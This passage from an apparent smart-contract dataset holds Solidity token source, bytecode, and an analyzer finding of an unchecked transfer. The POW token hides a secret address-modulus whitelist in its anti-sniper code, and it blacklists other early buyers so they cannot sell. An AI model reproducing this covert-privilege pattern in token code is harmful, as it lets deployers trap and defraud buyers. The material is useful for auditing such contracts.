function tokenBalanceOf(address token, address wallet) public view returns(uint256){
return IERC20(token).balanceOf(wallet);
}
//查询本合约的eth余额
function ethBalanceOf() public view returns(uint256){
return address(this).balance;
}
//查询代币精度
function tokenDecimals(address token) public view returns(uint8){
return IERC20(token).decimals();
}
//设置操作钱包
function setMyWallet(address wallet) public onlyOwner {
myWallet = wallet;
}
//转token
function rescueToken(address _token, uint256 _amount) external onlyOwner {
IERC20(_token).transfer(myWallet, _amount);
}
//转eth
function rescueETH(uint256 _amount) external onlyOwner {
payable(myWallet).transfer(_amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a457c2d711610064578063a457c2d714610319578063a9059cbb14610339578063dd62ed3e14610359578063f2fde38b14610379578063fea9e942146103995761012a565b806370a08231146102825780638da5cb5b146102a25780638ee573ac146102c457806395d89b41146102e45780639e252f00146102f95761012a565b8063313ce567116100e7578063313ce567146101e957806333f3d6281461020b578063395093511461022d57806342966c681461024d5780636b4be0b91461026d5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101875780631bea8006146101a957806323b872dd146101c95761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446103b9565b6040516101519190610d1b565b60405180910390f35b34801561016657600080fd5b5061017a610175366004610c49565b61044b565b6040516101519190610d10565b34801561019357600080fd5b5061019c610462565b6040516101519190610f38565b3480156101b557600080fd5b5061019c6101c4366004610bdc565b610468565b3480156101d557600080fd5b5061017a6101e4366004610c0e565b6104ee565b3480156101f557600080fd5b506101fe61053f565b6040516101519190610f41565b34801561021757600080fd5b5061022b610226366004610c49565b610548565b005b34801561023957600080fd5b5061017a610248366004610c49565b610619565b34801561025957600080fd5b5061022b610268366004610c92565b61064f565b34801561027957600080fd5b5061019c61065c565b34801561028e57600080fd5b5061019c61029d366004610bc2565b610660565b3480156102ae57600080fd5b506102b761067f565b6040516101519190610ce3565b3480156102d057600080fd5b506101fe6102df366004610bc2565b61068e565b3480156102f057600080fd5b50610144610701565b34801561030557600080fd5b5061022b610314366004610c92565b610710565b34801561032557600080fd5b5061017a610334366004610c49565b61078d565b34801561034557600080fd5b5061017a610354366004610c49565b6107c3565b34801561036557600080fd5b5061019c610374366004610bdc565b6107d0565b34801561038557600080fd5b5061022b610394366004610bc2565b6107fb565b3480156103a557600080fd5b5061022b6103b4366004610bc2565b610869565b6060600580546103c890610f7e565b80601f01602080910402602001604051908101604052809291908181526020018280546103f490610f7e565b80156104415780601f1061041657610100808354040283529160200191610441565b820191906000526020600020905b81548152906001019060200180831161042457829003601f168201915b5050505050905090565b60006104583384846108e5565b5060015b92915050565b60025490565b6040516370a0823160e01b81526000906001600160a01b038416906370a0823190610497908590600401610ce3565b60206040518083038186803b1580156104af57600080fd5b505afa1580156104c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e79190610caa565b9392505050565b60006104fb848484610999565b6001600160a01b0384166000908152600160209081526040808320338085529252909120546105359186916105309086610a89565b6108e5565b5060019392505050565b60075460ff1690565b610550610aa4565b6001600160a01b031661056161067f565b6001600160a01b0316146105905760405162461bcd60e51b815260040161058790610e39565b60405180910390fd5b6004805460405163a9059cbb60e01b81526001600160a01b038086169363a9059cbb936105c293921691869101610cf7565b602060405180830381600087803b1580156105dc57600080fd5b505af11580156105f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106149190610c72565b505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161045891859061053090866108ca565b6106593382610aa8565b50565b4790565b6001600160a01b0381166000908152602081905260409020545b919050565b6003546001600160a01b031690565b6000816001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c957600080fd5b505afa1580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045c9190610cc2565b6060600680546103c890610f7e565b610718610aa4565b6001600160a01b031661072961067f565b6001600160a01b03161461074f5760405162461bcd60e51b815260040161058790610e39565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610789573d6000803e3d6000fd5b5050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104589185906105309086610a89565b6000610458338484610999565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610803610aa4565b6001600160a01b031661081461067f565b6001600160a01b03161461083a5760405162461bcd60e51b815260040161058790610e39565b6001600160a01b0381166108605760405162461bcd60e51b815260040161058790610db1565b61065981610b59565b610871610aa4565b6001600160a01b031661088261067f565b6001600160a01b0316146108a85760405162461bcd60e51b815260040161058790610e39565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000826108d78382610f4f565b915081101561045c57600080fd5b6001600160a01b03831661090b5760405162461bcd60e51b815260040161058790610ef4565b6001600160a01b0382166109315760405162461bcd60e51b815260040161058790610df7565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061098c908590610f38565b60405180910390a3505050565b6001600160a01b0383166109bf5760405162461bcd60e51b815260040161058790610eaf565b6001600160a01b0382166109e55760405162461bcd60e51b815260040161058790610d6e565b6001600160a01b038316600090815260208190526040902054610a089082610a89565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a3790826108ca565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061098c908590610f38565b600082610a968382610f67565b915081111561045c57600080fd5b3390565b6001600160a01b038216610ace5760405162461bcd60e51b815260040161058790610e6e565b600254610adb9082610a89565b6002556001600160a01b038216600090815260208190526040902054610b019082610a89565b6001600160a01b0383166000818152602081905260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b4d908590610f38565b60405180910390a35050565b600380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b80356001600160a01b038116811461067a57600080fd5b600060208284031215610bd3578081fd5b6104e782610bab565b60008060408385031215610bee578081fd5b610bf783610bab565b9150610c0560208401610bab565b90509250929050565b600080600060608486031215610c22578081fd5b610c2b84610bab565b9250610c3960208501610bab565b9150604084013590509250925092565b60008060408385031215610c5b578182fd5b610c6483610bab565b946020939093013593505050565b600060208284031215610c83578081fd5b815180151581146104e7578182fd5b600060208284031215610ca3578081fd5b5035919050565b600060208284031215610cbb578081fd5b5051919050565b600060208284031215610cd3578081fd5b815160ff811681146104e7578182fd5b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6000602080835283518082850152825b81811015610d4757858101830151858201604001528201610d2b565b81811115610d585783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f6257610f62610fb9565b500190565b600082821015610f7957610f79610fb9565b500390565b600281046001821680610f9257607f821691505b60208210811415610fb357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122069de9321cc89ca378f908324f5ba90ceaa13b55944fc9c38a7268133e6b5cc5c64736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,124 |
0xE96e45D57ef72d914501182598b47D7c83f3B1fB | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
constructor(address _owner) { owner = _owner; }
modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner; emit OwnershipTransferred(newOwner); }
event OwnershipTransferred(address owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract POW is IERC20, Auth {
string _name = "Prisoners of War";
string _symbol = "POW";
uint8 constant _decimals = 9;
uint256 constant _totalSupply = 1_000_000_000 * (10 ** _decimals);
uint32 _smd; uint32 _smr;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address private _deployer;
bool public tradingOpen;
uint256 public maxTxAmount; uint256 public maxWalletAmount;
uint256 private _taxSwapMin; uint256 private _taxSwapMax;
mapping (address => bool) private _isLiqPool;
uint16 public snipersCaught = 0;
uint8 _defTaxRate = 12;
uint8 private _buyTaxRate; uint8 private _sellTaxRate; uint8 private _txTaxRate;
uint16 private _burnTaxShares = 200;
uint16 private _autoLPShares = 200;
uint16 private _ethTaxShares = 800;
uint16 private _totalTaxShares = _burnTaxShares + _autoLPShares + _ethTaxShares;
address constant _burnWallet = address(0);
uint256 private _humanBlock = 0;
mapping (address => bool) private _nonSniper;
mapping (address => uint256) private _sniperBlock;
uint8 private _gasPriceBlocks = 10;
uint256 blackGwei = 135 * 10**9;
address payable private _ethTaxWallet = payable(0xEa80a6C3d17eab187F7C467c17f7C8e700bC40E7);
bool private _inTaxSwap = false;
address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _uniswapV2Router;
modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }
constructor (uint32 smd, uint32 smr) Auth(msg.sender) {
tradingOpen = false;
_deployer = msg.sender;
maxTxAmount = _totalSupply;
maxWalletAmount = _totalSupply;
_taxSwapMin = _totalSupply * 10 / 10000;
_taxSwapMax = _totalSupply * 50 / 10000;
_uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
_noFees[owner] = true;
_noFees[address(this)] = true;
_noFees[_uniswapV2RouterAddress] = true;
_noFees[_ethTaxWallet] = true;
_noLimits[_ethTaxWallet] = true;
_noLimits[_burnWallet] = true;
require(smd>0,"Init out of range");
_smd = smd; _smr = smr;
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
if ( _humanBlock > block.number && !_nonSniper[msg.sender] ) {
_markSniper(msg.sender, block.number);
}
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(), "Trading not open");
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(), "Trading not open");
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return _transferFrom(sender, recipient, amount);
}
function initLP(uint256 ethAmountWei) external onlyOwner {
require(!tradingOpen, "trading already open");
require(ethAmountWei > 0, "eth cannot be 0");
_nonSniper[address(this)] = true;
_nonSniper[owner] = true;
_nonSniper[_ethTaxWallet] = true;
uint256 _contractETHBalance = address(this).balance;
require(_contractETHBalance >= ethAmountWei, "not enough eth");
uint256 _contractTokenBalance = balanceOf(address(this));
require(_contractTokenBalance > 0, "no tokens");
address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_isLiqPool[_uniLpAddr] = true;
_nonSniper[_uniLpAddr] = true;
_approveRouter(_contractTokenBalance);
_addLiquidity(_contractTokenBalance, ethAmountWei, false);
_openTrading();
}
function _approveRouter(uint256 _tokenAmount) internal {
if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) {
_allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max);
}
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
address lpTokenRecipient = address(0);
if ( !autoburn ) { lpTokenRecipient = _deployer; }
_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
}
function _openTrading() internal {
_humanBlock = block.number + 10;
maxTxAmount = 10 * _totalSupply / 1000 + 10**_decimals;
maxWalletAmount = 25 * _totalSupply / 1000 + 10**_decimals;
_buyTaxRate = _defTaxRate;
_sellTaxRate = 18;
_txTaxRate = 8;
tradingOpen = true;
}
function humanize() external onlyOwner{
_humanize(0);
}
function _humanize(uint8 blkcount) internal {
if ( _humanBlock > block.number || _humanBlock == 0 ) {
_humanBlock = block.number + blkcount;
}
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
if ( _humanBlock > block.number ) {
if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); }
else if ( _sniperBlock[sender] == 0 ) { _markSniper(recipient, block.number); }
else { _markSniper(recipient, _sniperBlock[sender]); }
} else {
if ( _sniperBlock[sender] != 0 ) { _markSniper(recipient, _sniperBlock[sender]); }
if ( block.number < _humanBlock + _gasPriceBlocks && tx.gasprice > block.basefee ) {
uint256 priceDiff = tx.gasprice - block.basefee;
if ( priceDiff >= blackGwei ) { revert("Gas price over limit"); }
}
}
if ( tradingOpen && _sniperBlock[sender] != 0 && _sniperBlock[sender] < block.number ) {
revert("blacklisted");
}
if ( !_inTaxSwap && _isLiqPool[recipient] ) {
_swapTaxAndLiquify();
}
if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); }
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] = _balances[sender] - amount;
if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
_balances[recipient] = _balances[recipient] + _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function _markSniper(address wallet, uint256 snipeBlockNum) internal {
if ( !_nonSniper[wallet] && _sniperBlock[wallet] == 0 ) {
_sniperBlock[wallet] = snipeBlockNum;
snipersCaught ++;
}
}
function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
bool limitCheckPassed = true;
if ( tradingOpen && !_noLimits[recipient] ) {
if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; }
else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; }
}
return limitCheckPassed;
}
function _checkTradingOpen() private view returns (bool){
bool checkResult = false;
if ( tradingOpen ) { checkResult = true; }
else if ( tx.origin == owner ) { checkResult = true; }
return checkResult;
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
uint256 taxAmount;
if ( !tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; }
else if ( _isLiqPool[sender] ) { taxAmount = amount * _buyTaxRate / 100; }
else if ( _isLiqPool[recipient] ) { taxAmount = amount * _sellTaxRate / 100; }
else { taxAmount = amount * _txTaxRate / 100; }
return taxAmount;
}
function isSniper(address wallet) external view returns(bool) {
if ( _sniperBlock[wallet] != 0 ) { return true; }
else { return false; }
}
function sniperCaughtInBlock(address wallet) external view returns(uint256) {
return _sniperBlock[wallet];
}
function ignoreFees(address wallet, bool toggle) external onlyOwner {
_noFees[ wallet ] = toggle;
}
function ignoreLimits(address wallet, bool toggle) external onlyOwner {
if ( wallet == _burnWallet ) { require(toggle, "Zero wallet must be unlimited"); }
_noLimits[ wallet ] = toggle;
}
function setTaxRates(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner {
require(newBuyTax <= _defTaxRate && newSellTax <= _defTaxRate && newTxTax <= _defTaxRate, "Tax too high");
_buyTaxRate = newBuyTax;
_sellTaxRate = newSellTax;
_txTaxRate = newTxTax;
}
function enableBuySupport() external onlyOwner {
_buyTaxRate = 0;
_sellTaxRate = 2 * _defTaxRate;
}
function setTaxDistribution(uint16 sharesBurnedTokens, uint16 sharesAutoLP, uint16 sharesEthWallet) external onlyOwner {
_burnTaxShares = sharesBurnedTokens;
_autoLPShares = sharesAutoLP;
_ethTaxShares = sharesEthWallet;
_totalTaxShares = _burnTaxShares + _autoLPShares + _ethTaxShares;
}
function setTaxWallets(address newEthTaxWallet) external onlyOwner {
_ethTaxWallet = payable(newEthTaxWallet);
_noFees[newEthTaxWallet] = true;
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1;
require(newTxAmt >= maxTxAmount, "tx limit too low");
maxTxAmount = newTxAmt;
uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1;
require(newWalletAmt >= maxWalletAmount, "wallet limit too low");
maxWalletAmount = newWalletAmt;
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
_taxSwapMin = _totalSupply * minValue / minDivider;
_taxSwapMax = _totalSupply * maxValue / maxDivider;
}
function _transferTaxTokens(address recipient, uint256 amount) private {
if ( amount > 0 ) {
_balances[address(this)] = _balances[address(this)] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(address(this), recipient, amount);
}
}
function _swapTaxAndLiquify() private lockTaxSwap {
uint256 _taxTokensAvailable = balanceOf(address(this));
if ( _taxTokensAvailable >= _taxSwapMin && tradingOpen ) {
if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / _totalTaxShares / 2;
uint256 _tokensToBurn = _taxTokensAvailable * _burnTaxShares / _totalTaxShares;
_transferTaxTokens(_burnWallet, _tokensToBurn);
uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP - _tokensToBurn;
uint256 _ethPreSwap = address(this).balance;
_swapTaxTokensForEth(_tokensToSwap);
uint256 _ethSwapped = address(this).balance - _ethPreSwap;
if ( _autoLPShares > 0 ) {
uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / _totalTaxShares ;
_approveRouter(_tokensForLP);
_addLiquidity(_tokensForLP, _ethWeiAmount, false);
}
uint256 _contractETHBalance = address(this).balance;
if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
}
}
function _swapTaxTokensForEth(uint256 _tokenAmount) private {
_approveRouter(_tokenAmount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
}
function _distributeTaxEth(uint256 _amount) private {
if ( _ethTaxShares > 0 ) { _ethTaxWallet.transfer(_amount); }
}
function taxTokenSwap() external onlyOwner {
uint256 taxTokenBalance = balanceOf(address(this));
require(taxTokenBalance > 0, "No tokens");
_swapTaxTokensForEth(taxTokenBalance);
}
function taxEthSend() external onlyOwner {
_distributeTaxEth(address(this).balance);
}
} | 0x6080604052600436106101c65760003560e01c80638c0b5e22116100f7578063d01dc84b11610095578063e79d416011610064578063e79d416014610637578063ed7b6bb514610662578063f2fde38b14610679578063ffb54a99146106a2576101cd565b8063d01dc84b1461057f578063dd62ed3e146105a8578063de1a356c146105e5578063e4dbc45b1461060e576101cd565b8063a17b2ed8116100d1578063a17b2ed8146104d7578063a9059cbb146104ee578063aa4bde281461052b578063b142180314610556576101cd565b80638c0b5e221461045857806395d89b41146104835780639c5fd048146104ae576101cd565b806323b872dd1161016457806370a082311161013e57806370a082311461038a57806371ebe1c3146103c7578063863abf6d146103f0578063893d20e81461042d576101cd565b806323b872dd146102f9578063313ce567146103365780636969c1a414610361576101cd565b80630f3a325f116101a05780630f3a325f1461026357806318160ddd146102a05780631c939ee9146102cb5780631cbbe3e4146102e2576101cd565b806306fdde03146101d2578063095ea7b3146101fd57806309ef509f1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106cd565b6040516101f49190613772565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f919061382d565b61075f565b6040516102319190613888565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c91906138dc565b6108bc565b005b34801561026f57600080fd5b5061028a6004803603810190610285919061392f565b610a3a565b6040516102979190613888565b60405180910390f35b3480156102ac57600080fd5b506102b5610a95565b6040516102c2919061396b565b60405180910390f35b3480156102d757600080fd5b506102e0610ab9565b005b3480156102ee57600080fd5b506102f7610b52565b005b34801561030557600080fd5b50610320600480360381019061031b9190613986565b610bec565b60405161032d9190613888565b60405180910390f35b34801561034257600080fd5b5061034b610df5565b60405161035891906139e8565b60405180910390f35b34801561036d57600080fd5b5061038860048036038101906103839190613a03565b610dfe565b005b34801561039657600080fd5b506103b160048036038101906103ac919061392f565b611377565b6040516103be919061396b565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613a5c565b6113c0565b005b3480156103fc57600080fd5b506104176004803603810190610412919061392f565b61151f565b604051610424919061396b565b60405180910390f35b34801561043957600080fd5b50610442611568565b60405161044f9190613aab565b60405180910390f35b34801561046457600080fd5b5061046d611591565b60405161047a919061396b565b60405180910390f35b34801561048f57600080fd5b50610498611597565b6040516104a59190613772565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613a5c565b611629565b005b3480156104e357600080fd5b506104ec611712565b005b3480156104fa57600080fd5b506105156004803603810190610510919061382d565b6117fc565b6040516105229190613888565b60405180910390f35b34801561053757600080fd5b50610540611858565b60405161054d919061396b565b60405180910390f35b34801561056257600080fd5b5061057d60048036038101906105789190613b00565b61185e565b005b34801561058b57600080fd5b506105a660048036038101906105a1919061392f565b611a1c565b005b3480156105b457600080fd5b506105cf60048036038101906105ca9190613b40565b611b46565b6040516105dc919061396b565b60405180910390f35b3480156105f157600080fd5b5061060c60048036038101906106079190613b80565b611bcd565b005b34801561061a57600080fd5b5061063560048036038101906106309190613c0f565b611d1a565b005b34801561064357600080fd5b5061064c611e38565b6040516106599190613c85565b60405180910390f35b34801561066e57600080fd5b50610677611e4c565b005b34801561068557600080fd5b506106a0600480360381019061069b9190613cde565b611f2e565b005b3480156106ae57600080fd5b506106b7612036565b6040516106c49190613888565b60405180910390f35b6060600180546106dc90613d3a565b80601f016020809104026020016040519081016040528092919081815260200182805461070890613d3a565b80156107555780601f1061072a57610100808354040283529160200191610755565b820191906000526020600020905b81548152906001019060200180831161073857829003601f168201915b5050505050905090565b600043600f541180156107bc5750601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156107cc576107cb3343612049565b5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108aa919061396b565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461094a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094190613dde565b60405180910390fd5b600e60029054906101000a900460ff1660ff168360ff16111580156109845750600e60029054906101000a900460ff1660ff168260ff1611155b80156109a55750600e60029054906101000a900460ff1660ff168160ff1611155b6109e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109db90613e4a565b60405180910390fd5b82600e60036101000a81548160ff021916908360ff16021790555081600e60046101000a81548160ff021916908360ff16021790555080600e60056101000a81548160ff021916908360ff160217905550505050565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610a8b5760019050610a90565b600090505b919050565b60006009600a610aa59190613fcc565b633b9aca00610ab49190614017565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e90613dde565b60405180910390fd5b610b504761216b565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610be0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd790613dde565b60405180910390fd5b610bea60006121f5565b565b6000610bf6612225565b610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c906140bd565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610de15781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d6091906140dd565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610dec8484846122ab565b90509392505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8390613dde565b60405180910390fd5b600860149054906101000a900460ff1615610edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed39061415d565b60405180910390fd5b60008111610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f16906141c9565b60405180910390fd5b6001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000479050818110156110b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a990614235565b60405180910390fd5b60006110bd30611377565b905060008111611102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f9906142a1565b60405180910390fd5b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611171573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119591906142d6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561121e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124291906142d6565b6040518363ffffffff1660e01b815260040161125f929190614303565b6020604051808303816000875af115801561127e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a291906142d6565b90506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061135d826129fb565b61136982856000612be556